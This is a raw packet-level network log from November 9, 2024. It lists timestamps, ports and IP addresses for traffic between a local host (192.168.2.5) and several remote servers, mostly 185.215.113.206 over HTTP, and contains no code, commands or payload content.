Nov 9, 2024 22:09:49.682641983 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.683031082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.683042049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.683052063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.683057070 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.683069944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.683082104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.683093071 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.683104038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.683110952 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.683115959 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.683126926 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.683139086 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.683152914 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.683171988 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.706684113 CET	49929	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:49.719357014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.719377995 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.719425917 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.719439030 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.719439030 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.719451904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.719485998 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.719506025 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.732690096 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.732712030 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.732750893 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.732800961 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.732808113 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.732891083 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.752754927 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.752779007 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.752836943 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.752850056 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.752908945 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.778920889 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.778934956 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.778975010 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.779000044 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.779042959 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.779062033 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.779078960 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.779112101 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.781564951 CET	49938	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:49.781605005 CET	443	49938	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:49.782121897 CET	49938	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:49.785948038 CET	49938	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:49.785964012 CET	443	49938	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:49.793714046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.793762922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.793777943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.793790102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.793807983 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.793836117 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.794353962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794364929 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794421911 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.794423103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794469118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794471979 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.794481993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794517040 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794523954 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.794605017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794612885 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.794616938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794629097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794641018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794653893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.794686079 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.794706106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794765949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794835091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794837952 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.794846058 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794858932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794888020 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.794902086 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.794919968 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794960976 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.794965982 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794977903 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.794989109 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795007944 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795025110 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795037031 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795085907 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795098066 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795109034 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795136929 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795161009 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795171976 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795181036 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795212984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795214891 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795224905 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795226097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795254946 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795265913 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795407057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795419931 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795466900 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795469046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795484066 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795500994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795516968 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795530081 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795543909 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795569897 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795763016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795774937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795800924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795810938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795821905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795834064 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795835018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795849085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795860052 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795864105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795876026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795888901 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795905113 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795926094 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.795933008 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.795943022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796082020 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796094894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796107054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796118975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796130896 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796139956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796158075 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796176910 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796195030 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796207905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796219110 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796230078 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796245098 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796251059 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796267986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796284914 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796351910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796363115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796372890 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796385050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796402931 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796421051 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796474934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796485901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796497107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796509027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796520948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796538115 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796561956 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796876907 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796921015 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796926022 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.796936035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.796981096 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797032118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797044992 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797058105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797071934 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797096968 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797185898 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797204971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797218084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797230005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797241926 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797254086 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797255039 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797271967 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797379971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797415972 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797430038 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797457933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797470093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797480106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797494888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797507048 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797508001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797519922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797538042 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797553062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797575951 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797666073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797677994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797693968 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797705889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797729969 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797756910 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797820091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797831059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797842026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797854900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797868967 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797899008 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.797974110 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797985077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.797996044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798007965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798018932 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798027992 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798049927 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798074007 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798110962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798125982 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798202991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798213959 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798223972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798237085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798243999 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798248053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798264027 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798281908 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798419952 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798432112 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798443079 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798454046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798466921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798474073 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798477888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798490047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798495054 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798501015 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798511982 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798538923 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798615932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798628092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798666000 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798702002 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798713923 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798723936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798736095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798746109 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798763990 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798789024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798846960 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798860073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798870087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798916101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.798979998 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.798993111 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.799002886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.799009085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.799015045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.799042940 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.799060106 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.799159050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.799169064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.799180984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.799197912 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.799212933 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.799232960 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.814863920 CET	443	49930	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.815352917 CET	49930	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.815375090 CET	443	49930	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.815813065 CET	49930	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:49.815819025 CET	443	49930	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:49.836390972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.836411953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.836430073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.836441994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.836489916 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.836527109 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.849621058 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.849642992 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.849706888 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.849716902 CET	443	49927	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.849761963 CET	49927	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.871753931 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.871788979 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.871836901 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.871849060 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.871885061 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.871973038 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.891805887 CET	443	49929	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:49.892421961 CET	443	49929	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:49.892491102 CET	49929	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:49.893137932 CET	49929	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:49.893150091 CET	443	49929	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:49.894457102 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.894484997 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.894553900 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.894575119 CET	443	49928	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:49.894610882 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.894643068 CET	49928	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:49.910872936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.910886049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.910897017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.910953999 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.910988092 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.911293030 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911323071 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911334038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911367893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.911391020 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911391020 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.911403894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911422014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911431074 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.911457062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.911762953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911803961 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911814928 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911859035 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.911878109 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911889076 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911900997 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911930084 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.911945105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.911957979 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911969900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.911998034 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.912009954 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.912046909 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912061930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912074089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912108898 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.912118912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.912156105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912167072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912178993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912218094 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.912290096 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912309885 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912328005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912338972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912343025 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.912349939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912373066 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.912409067 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.912451029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912461996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912472963 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912484884 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912497044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912497044 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:49.912507057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:49.912518978 CET	80	49813	185.215.113.206	192.168.2.5
